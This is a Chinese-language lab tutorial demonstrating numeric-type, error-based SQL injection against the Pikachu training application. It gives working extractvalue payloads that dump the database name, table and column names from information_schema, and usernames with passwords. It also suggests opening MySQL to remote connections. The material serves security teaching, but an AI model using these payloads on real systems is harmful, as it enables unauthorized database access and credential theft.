漏洞详情
一个URL链接地址,或者一个参数输入的页面。如果这个页面里面存在交互的参数,而且这个参数在程序员那边是按数字来对待的。则,参数类型的拼接形式可能不存在单引号的闭合。对服务器端的伪代码推测形式是:
select * from myhome where id=1
php的伪代码形式推测为:
$id=$_GET["id"];$comm01="select * from myhome where id=" . $id;
漏洞复现
以pikachu的数字型注入为例子,为大家演示
常规操作
F12,抓包,看连接,看参数。
因为涉及到POST参数,大概情况明了,为了更好的修改ID的值,我们采用BS。
BS截包
通过截包,修改id的数值对比,我们可以看到2者不一样的地方。在880行附近,也就是结尾附近会报错。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
数字型判断: 可以构建一个类似 1 and 1=1 的语句去判断
爆数据
通过区别字符和数字型我们可以选择闭合类型。通过选择爆数据的函数,我们可以顺利的把想要的数据内容爆出来。这种就是典型的出错型报错。出错型的10种报错类型。
站在上帝视角爆数据库名

id=1 and (extractvalue(1,concat(0x7e,(select database()),0x8e)));&submit=%E6%9F%A5%E8%AF%A2
上帝模式:我们直接进入到数据库与数据库注入效果一起联动
直接连接到数据库:修改user表 把host=localhost的修改为% ,刷新:flush privileges 生效。
爆本库表名

在数据里,我们把表的内容都抽出来:
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='pikachu'

id=1 and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='pikachu'),0x8e)));&submit=%E6%9F%A5%E8%AF%A2;&submit=%E6%9F%A5%E8%AF%A2

不是5个表吗?怎么输出没显示全呢?他们只能查询目标是32个字符的查询串。
用substr函数处理一下,就可以看到后面的数据了。
id=1 and (extractvalue(1,concat(0x7e,(select substr(group_concat(TABLE_NAME),30) from information_schema.TABLES where TABLE_SCHEMA='pikachu'),0x8e)));&submit=%E6%9F%A5%E8%AF%A2;&submit=%E6%9F%A5%E8%AF%A2
继续爆列名
(请同学们自己实际或者跟着老师一起操作爆一下列名)
列名是在COLUMNS表里面,用同样的办法,把COLUMNS里面的数据给爆出来,表就用user表吧,库选择pikachu这个库。
去上帝视角看看:
select column_name from COLUMNS where table_name='users' AND table_schema='pikachu'

带入到BS里去,把语句修改一下:
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where table_name='users' AND table_schema='pikachu'
id=1 and (extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.COLUMNS where table_name=’users’ AND table_schema=’pikachu’),0x8e)));&submit=%E6%9F%A5%E8%AF%A2;&submit=%E6%9F%A5%E8%AF%A2
RUN一下:
爆数据
一次性解决战斗:
SELECT GROUP_CONCAT(id,'|',username,'|',PASSWORD,'|',LEVEL) from users
总结
- 所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、 table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度。
- 查库,查表是基本操作,得学一下,实战操作,可以直接从列里面去找数据。
- 5.0之后的数据有了information.schema, 5.0之前的,就只能靠盲猜了。盲猜表名和列名。
